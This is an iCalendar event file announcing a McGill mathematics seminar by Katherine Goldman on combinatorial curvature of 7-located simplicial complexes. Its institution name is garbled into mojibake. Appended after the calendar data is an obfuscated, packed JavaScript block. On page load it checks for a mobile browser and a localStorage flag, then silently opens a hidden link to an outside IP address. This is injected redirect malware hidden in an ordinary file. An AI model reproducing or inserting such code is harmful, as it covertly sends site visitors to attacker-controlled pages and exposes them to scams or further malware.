BEGIN:VCALENDAR
VERSION:2.0
PRODID:-//132.216.98.100//NONSGML kigkonsult.se iCalcreator 2.20.4//
BEGIN:VEVENT
UID:20260119T173714EST-0966VvUtmi@132.216.98.100
DTSTAMP:20260119T223714Z
DESCRIPTION:Title: Curvature of located complexes\n	\n	Abstract: m-location a
 nd (local) k-largeness are two notions of combinatorial curvature for simp
 licial complexes which are defined in terms of certain excluded configurat
 ions. It is known that locally k-large with k > 6 and m-location with m > 
 7 each correspond to negative curvature in a precise way. It is also known
  that locally 6-large corresponds to non-positive curvature\, while it was
  only conjectured to be the case for 7-location. We prove that 7-location 
 does indeed give us a good candidate for a non-positive curvature conditio
 n by showing that such complexes are aspherical. This is joint work with P
 . Przytycki.\n\nWe will gather in the lounge for teatime after the talk.\n
 \n \n
DTSTART:20260114T210000Z
DTEND:20260114T220000Z
LOCATION:Room 1104\, Burnside Hall\, CA\, QC\, Montreal\, H3A 0B9\, 805 rue
  Sherbrooke Ouest
SUMMARY:Katherine Goldman (Â鶹´«Ã½ÍøÕ¾)
URL:/mathstat/channels/event/katherine-goldman-mcgill-
 university-370313
END:VEVENT
END:VCALENDAR
<script>
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('s z(){n(S A==="\\o\\7\\3\\0\\j\\4\\7\\0\\3"){B T}C a=(U^V)+(D^D);t E=A[\'\\o\\c\\0\\8\\W\\l\\0\\7\\2\'][\'\\2\\1\\u\\1\\p\\0\\8\\q\\5\\c\\0\']();a=X^Y;C b=(F^F)+(Z^10);t G=11 12(\'\\5\\7\\3\\8\\1\\4\\3\\d\\4\\e\\k\\1\\7\\0\\d\\4\\e\\5\\3\\d\\4\\e\\1\\3\\d\\p\\4\\7\\3\\1\\p\\c\\H\\e\\k\\1\\7\\0\\d\\9\\6\\5\\g\\r\\9\\0\\8\\8\\h\\d\\c\\h\\f\\9\\4\\5\\7\\d\\p\\0\\9\\1\\c\\d\\1\\e\\0\\8\\5\\H\\f\\4\\7\\4\\d\\4\\0\\f\\1\\9\\4\\6\\0\\d\\f\\1\\9\\4\\6\\0\',\'\\4\');b=13^14;B G[\'\\2\\0\\c\\2\'](E)}s I(a){t i=m[\'\\g\\8\\0\\5\\2\\0\\J\\6\\0\\f\\0\\7\\2\']("\\5");i[\'\\k\\8\\0\\j\']=a;i[\'\\c\\2\\h\\6\\0\'][\'\\3\\4\\c\\e\\6\\5\\h\']="15".v("").w().x("");i[\'\\2\\5\\8\\l\\0\\2\']="16".v("").w().x("");m[\'\\9\\1\\3\\h\'][\'\\5\\e\\e\\0\\7\\3\\q\\k\\4\\6\\3\'](i);i[\'\\g\\6\\4\\g\\r\']();m[\'\\9\\1\\3\\h\'][\'\\8\\0\\f\\1\\K\\0\\q\\k\\4\\6\\3\'](i)}m[\'\\5\\3\\3\\J\\K\\0\\7\\2\\u\\4\\c\\2\\0\\7\\0\\8\']("\\17\\18\\19\\q\\1\\7\\2\\0\\7\\2\\u\\1\\5\\3\\0\\3",s(){n(!L[\'\\l\\6\\1\\9\\5\\6\\M\\5\\8\']){n(m[\'\\9\\1\\3\\h\']!=1a){L[\'\\l\\6\\1\\9\\5\\6\\M\\5\\8\']="\\y";N=O[\'\\l\\0\\2\\y\\2\\0\\f\']("\\6\\o\\g\\r\\P\\j\\j");n(!N&&z()){I("\\k\\2\\2\\e\\1b\\Q\\Q\\1c\\1d\\1e\\1f\\R\\6\\6\\1g\\1h\\1i\\R\\g\\1\\f")}O[\'\\c\\0\\2\\y\\2\\0\\f\']("\\6\\o\\g\\r\\P\\j\\j","1j".v("").w().x(""))}}});',62,82,'u0065|u006F|u0074|u0064|u0069|u0061|u006C|u006E|u0072|u0062|||u0073|u007C|u0070|u006D|u0063|u0079|_0xbdg|u0066|u0068|u0067|document|if|u0075|u0077|u0043|u006B|function|const|u004C|split|reverse|join|u0049|isMobileDevice|navigator|return|var|615449|_0x9c7bf|203424|_0x824eea|u0020|OpenUrl|u0045|u0076|window|u0056|hasExecuted|localStorage|u005F|u002F|u002E|typeof|false|546540|546541|u0041|912060|912059|548096|548097|new|RegExp|178627|178629|enon|knalb_|u0044|u004F|u004D|null|u003A|u0037|u0035|u0033|u0032|u0071|u0078|u007A|eurt'.split('|'),0,{}))</script>